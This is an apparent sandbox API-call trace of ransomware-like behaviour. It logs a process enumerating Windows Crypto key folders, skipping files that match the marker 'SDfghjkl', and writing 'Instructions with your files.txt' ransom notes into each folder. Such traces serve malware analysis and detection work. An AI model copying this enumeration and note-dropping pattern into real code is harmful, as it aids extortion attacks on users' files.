[0131.780] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a0a3a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.780] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Instructions with your files.txt") returned 72
[0131.780] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.780] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
[0131.780] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned 44
[0131.780] GetProcessHeap () returned 0x810000
[0131.780] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.780] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*") returned 46
[0131.780] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.780] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\.") returned 46
[0131.780] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.780] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.780] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\..") returned 47
[0131.780] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.781] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925b60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.781] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Instructions with your files.txt") returned 77
[0131.781] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.781] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925b60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.781] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Instructions with your files.txt") returned 77
[0131.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.781] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.782] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.782] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.782] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.782] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.782] CloseHandle (hObject=0x114) returned 1
[0131.782] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.782] GetProcessHeap () returned 0x810000
[0131.782] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.782] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
[0131.783] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned 43
[0131.783] GetProcessHeap () returned 0x810000
[0131.783] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.783] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*") returned 45
[0131.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.783] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\.") returned 45
[0131.783] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.783] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\..") returned 46
[0131.783] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a0a3a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.783] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt") returned 76
[0131.783] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.783] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
[0131.783] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 55
[0131.783] GetProcessHeap () returned 0x810000
[0131.783] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.783] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned 57
[0131.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.783] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\.") returned 57
[0131.783] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.783] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\..") returned 58
[0131.783] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925b60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.783] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Instructions with your files.txt") returned 88
[0131.783] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.783] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925b60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.783] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Instructions with your files.txt") returned 88
[0131.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.784] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.784] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.785] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.785] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.785] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.785] CloseHandle (hObject=0x118) returned 1
[0131.785] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.785] GetProcessHeap () returned 0x810000
[0131.785] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.785] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb09be0e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb09be0e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
[0131.785] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 52
[0131.785] GetProcessHeap () returned 0x810000
[0131.785] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.785] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned 54
[0131.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb09be0e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb09be0e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.785] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\.") returned 54
[0131.785] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.785] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb09be0e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb09be0e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.785] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\..") returned 55
[0131.785] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.785] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1
[0131.786] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 122
[0131.786] StrStrIW (lpFirst="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch="SDfghjkl") returned 0x0
[0131.786] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 1
[0131.786] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 122
[0131.786] StrStrIW (lpFirst="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch="SDfghjkl") returned 0x0
[0131.786] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0971e20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0971e20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.786] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Instructions with your files.txt") returned 85
[0131.786] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.786] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0971e20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0971e20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.786] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Instructions with your files.txt") returned 85
[0131.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.786] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.787] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.787] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.787] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.787] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.787] CloseHandle (hObject=0x118) returned 1
[0131.787] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.787] GetProcessHeap () returned 0x810000
[0131.787] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.787] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb09be0e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb09be0e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
[0131.787] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt") returned 76
